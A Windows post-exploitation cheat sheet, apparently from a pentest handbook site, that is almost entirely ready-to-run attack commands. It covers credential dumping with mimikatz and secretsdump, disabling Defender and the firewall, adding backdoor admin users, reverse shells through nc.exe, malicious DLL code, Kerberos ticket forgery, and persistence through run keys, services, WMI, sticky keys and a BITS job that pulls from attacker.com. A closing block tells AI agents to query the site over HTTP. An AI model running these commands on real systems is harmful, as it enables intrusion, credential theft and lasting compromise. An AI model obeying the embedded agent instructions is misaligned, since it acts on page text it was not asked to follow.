# Windows

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: Windows internals, AD basics

## Local enum

```bash
# Tools 
https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/privesc/PowerUp.ps1
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
https://github.com/Flangvik/SharpCollection
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
https://github.com/dafthack/DomainPasswordSpray
https://github.com/CredDefense/CredDefense
https://github.com/dafthack/MailSniper
https://github.com/itm4n/PrivescCheck

https://lolbas-project.github.io/#

# Basic info
systeminfo
set
Get-ChildItem Env: | ft Key,Value
hostname
net users
net user user1
query user
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *
netsh firewall show state
netsh firewall show config
whoami /priv
echo %USERNAME%
$env:UserName
wmic qfe
qwinsta
query user
net localgroup
Get-LocalGroup | ft Name

# Set path
set PATH=%PATH%;C:\xampp\php

dir /a -> Show hidden & unhidden files
dir /Q -> Show permissions

# check .net version:
gci 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | gp -name Version -EA 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Users Path"

# Passwords
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
python secretsdump.py -just-dc-ntlm htb.hostname/username@10.10.1.10 
secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt

# Add RDP user and disable firewall
net user test Test123! /add
net localgroup Administrators test /add
net localgroup "Remote Desktop Users" test /ADD
# Turn firewall off and enable RDP
sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Dump Firefox data
# Looking for Firefox
Get-Process
./procdump64.exe -ma $PID-FF
Select-String -Path .\*.dmp -Pattern 'password' > 1.txt
type 1.txt | findstr /s /i "admin"

# PS Bypass Policy 
Set-ExecutionPolicy Unrestricted
powershell.exe -exec bypass
Set-ExecutionPolicy-ExecutionPolicyBypass -Scope Procesy

# Convert passwords to secure strings and output to an XML file:
$secpasswd = ConvertTo-SecureString "VMware1!" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("administrator", $secpasswd) 
$mycreds | export-clixml -path c:\temp\password.xml

# PS sudo
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'
powershell -ExecutionPolicy -F -File xyz.ps1

# PS runas
# START PROCESS
$username='someUser'
$password='somePassword'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential
# INVOKE COMMAND
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force; $Credential = New-Object System.Management.Automation.PSCredential ("fidelity\hector", $pass);Invoke-Command -Computer 'Fidelity' -ScriptBlock {C:\inetpub\wwwroot\uploads\nc.exe -e cmd 10.10.15.121 443} -credential $Credential

# Tasks
schtasks /query /fo LIST /v
file c:\WINDOWS\SchedLgU.Txt
python3 atexec.py Domain/Administrator:<Password>@123@172.21.0.0 systeminfo

# Useradd bin
#include  /* system, NULL, EXIT_FAILURE */
int main ()
{
  int i;
  i=system ("net user   /add && net localgroup administrators  /add");
  return 0;
}
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c

# WinXP
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.1.111 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

# WinRM Port Forwarding
plink -l LOCALUSER -pw LOCALPASSWORD LOCALIP -R 5985:127.0.0.1:5985 -P 221

# DLL Injection
#include 
int owned()
{
  WinExec("cmd.exe /c net user username Password01 ; net localgroup administrators username /add", 0);
  exit(0);
  return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}
# x64 compilation:
x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

# Generate Silver Tickets with Impacket:
python3 ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Generate Golden Tickets:
python3 ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Credential Access with Secretsdump
impacket-secretsdump username@target-ip -dc-ip target-ip

# Disable Assembly code generator
https://amsi.fail/
```

## Interesting files

```
C:\windows\repair\sam
C:\windows\System32\config\RegBack\SAM
C:\windows\repair\system
C:\windows\repair\software
C:\windows\repair\security
C:\windows\debug\NetSetup.log
C:\windows\iis5.log
C:\windows\iis6.log
C:\windows\iis7.log
C:\windows\system32\logfiles\httperr\httperr1.log
C:\sysprep.inf
C:\sysprep\sysprep.inf
C:\sysprep\sysprep.xml
C:\windows\Panther\Unattended.xml
C:\inetpub\wwwroot\Web.config
C:\windows\system32\config\AppEvent.Evt
C:\windows\system32\config\SecEvent.Evt
C:\windows\system32\config\default.sav
C:\windows\system32\config\security.sav
C:\windows\system32\config\software.sav
C:\windows\system32\config\system.sav
C:\windows\system32\inetsrv\config\applicationHost.config
C:\windows\system32\inetsrv\config\schema\ASPNET_schema.xml
C:\windows\System32\drivers\etc\hosts
C:\windows\System32\drivers\etc\networks
C:\windows\system32\config\SAM
```

## Mimikatz

```
# SAM
privilege::debug
token::elevate
lsadump::sam

# Windows Credential Manager
privilege::debug
sekurlsa::credman

# LSASS
privilege::debug
sekurlsa::minidump C:\Users\raj\Desktop\lsass.DMP
sekurlsa::logonpasswords
#or
privilege::debug
lsadump::lsa /patch

# WDigest
privilege::debug
sekurlsa::wdigest
```

## Privilege Escalation

```
# Check groups and privs
whoami /priv

# Interesting accounts

- Administrators, Local System
- Built-in groups (Backup, Server, Printer Operators)
- Local/network service accounts
- Managed Service and Virtual Accounts
- Third party application users
- Misconfigured users

# Interesting privileges

- SeDebugPrivilege
Create a new process and set the parent process a privileged process
https://github.com/decoder-it/psgetsystem
- SeRestorePrivilege
Can write files anywhere, overwrites files, protected system files
Modify a service running as Local and startable by all users and get a SYSTEM shell
- SeBackupPrivilege
Can backup Windows registry and use third party tools for extracting local NTLM hashes
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT
- SeTakeOwnershipPrivilege
Can take ownership of any securable object in the system
- SeTcbPrivilege
Can logon as a different user without any credentials in order to get a security Impersonation Token by using the LsaLogonUser() function
- SeCreateTokenPrivilege
Can create a custom token with all privileges and group membership you need (until Win 10 >= 1809)
But if you set the AuthenticationId to ANONYMOUS_LOGON_UID (0x3e6) you can always impersonate even in Win >=1809 and use a subset of API calls: CreateFile(), RegSetKey()
- SeLoadDriver Privilege
"Printer operators" have this privilege in the DC
Determines which users can dynamically load and unload device drivers or other code in to kernel mode
- SeImpersonatePrivilege & SeAssignPrimaryTokenPrivilege
Permit impersonate any access token

** If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder **
```

## Loot

```bash
hostname && whoami.exe && ipconfig /all
wce32.exe -w
wce64.exe -w
fgdump.exe

# Loot passwords without tools
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system

ipconfig /all
route print

# What other machines have been connected
arp -a

# Meterpreter
run packetrecorder -li
run packetrecorder -i 1

#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
hashdump
keysscan_start
keyscan_dump
keyscan_stop
webcam_snap
load mimikatz
msv

# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt

# Recursive search
dir /s

secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt
.\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"

# Mimikatz
# Post exploitation commands must be executed from SYSTEM level privileges.
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords
## Pass The Hash
mimikatz # sekurlsa::pth /user:username /domain:domain.tld /ntlm:ntlm_hash
# Inject generated TGS key
mimikatz # kerberos::ptt <ticket_kirbi_file>
# Generating a silver ticket 
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Generating a Golden Ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# AES 128 Key: 
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# NTLM:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# Lsassy (remote lsass/mimikatz dump reader) (requires impacket)
git clone https://github.com/hackndo/lsassy
cd lsassy && sudo python3 setup.py install
lsassy example.com/Administrator:s3cr3tpassw0rd@victim-pc

# Lsass dump 
https://github.com/outflanknl/Dumpert
```

## Persistence Techniques

### Registry Run Keys

```powershell
# User level - runs when specific user logs in
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# System level - runs for all users (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# RunOnce - runs once then deletes itself
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Backdoor" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# Winlogon - runs during user logon
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\Temp\backdoor.exe" /f

# Load key (per user)
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v "Load" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
```

### Scheduled Tasks

```powershell
# Create scheduled task (runs at logon)
schtasks /create /sc onlogon /tn "SystemTask" /tr "C:\Windows\Temp\backdoor.exe" /ru SYSTEM

# Create scheduled task (runs at startup)
schtasks /create /sc onstart /tn "SystemTask" /tr "C:\Windows\Temp\backdoor.exe" /ru SYSTEM

# Create scheduled task (runs every hour)
schtasks /create /sc hourly /mo 1 /tn "SystemTask" /tr "C:\Windows\Temp\backdoor.exe" /ru SYSTEM

# PowerShell method
$Action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\backdoor.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemTask" -Action $Action -Trigger $Trigger -Principal $Principal
```

### Services

```powershell
# Create malicious service
sc create backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start backdoor

# Modify existing service (for stealth)
sc config <service_name> binPath= "C:\Windows\Temp\backdoor.exe"

# PowerShell
New-Service -Name "WindowsUpdate" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WindowsUpdate"
```

### WMI Event Subscriptions

```powershell
# Create WMI persistence (PowerShell)
$FilterArgs = @{name='Backdoor'; EventNameSpace='root\CimV2'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180"}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs

$ConsumerArgs = @{name='Backdoor'; CommandLineTemplate="C:\Windows\Temp\backdoor.exe"}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

$BindingArgs = @{Filter=$Filter; Consumer=$Consumer}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

# Query WMI subscriptions
Get-WMIObject -Namespace root/subscription -Class __EventFilter
Get-WMIObject -Namespace root/subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root/subscription -Class __EventConsumer
```

### COM Hijacking

```powershell
# Find hijackable COM objects (look for missing DLLs)
# https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1

# Example: hijack TaskScheduler COM object
# Find CLSID that loads user-writable DLL
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll" /f

# Common COM objects to hijack:
# MruPidlList: {42aedc87-2188-41fd-b9a3-0c966feabec1}
# MMDeviceEnumerator: {BCDE0395-E52F-467C-8E3D-C4579291692E}
```

### DLL Hijacking

```powershell
# Find DLL hijack opportunities
# https://github.com/wietze/windows-dll-hijacking

# Process Monitor filter:
# Path contains ".dll"
# Result is "NAME NOT FOUND"

# Common hijackable locations:
# C:\Windows\Temp\
# C:\Users\<user>\AppData\Local\Temp\
# Application directories without proper DLL loading

# Create malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll > evil.dll
```

### Startup Folder

```powershell
# User startup folder
copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

# All users startup folder (requires admin)
copy backdoor.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"

# PowerShell
Copy-Item "C:\Windows\Temp\backdoor.exe" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe"
```

### BITS Jobs

```powershell
# Background Intelligent Transfer Service persistence
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://attacker.com/backdoor.exe C:\Windows\Temp\backdoor.exe
bitsadmin /SetNotifyCmdLine backdoor C:\Windows\Temp\backdoor.exe NUL
bitsadmin /SetMinRetryDelay backdoor 60
bitsadmin /resume backdoor
```

### Netsh Helper DLL

```powershell
# Register malicious netsh helper DLL
netsh add helper C:\path\to\evil.dll

# Verify
netsh show helper
```

### Image File Execution Options (IFEO)

```powershell
# Debugger redirect - when target runs, runs your binary instead
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# StickyKeys backdoor
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Then press Shift 5 times at login screen
```

### AppInit\_DLLs

```powershell
# Load DLL into every process that uses user32.dll
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\path\to\evil.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
```

### Golden Ticket / Silver Ticket

```powershell
# See Kerberos attacks section
# Golden ticket provides persistent domain admin access
# Silver ticket provides persistent service access
```

### Skeleton Key

```powershell
# Inject into LSASS - allows any password to work
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Now "mimikatz" works as password for any user
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/post-exploitation/windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
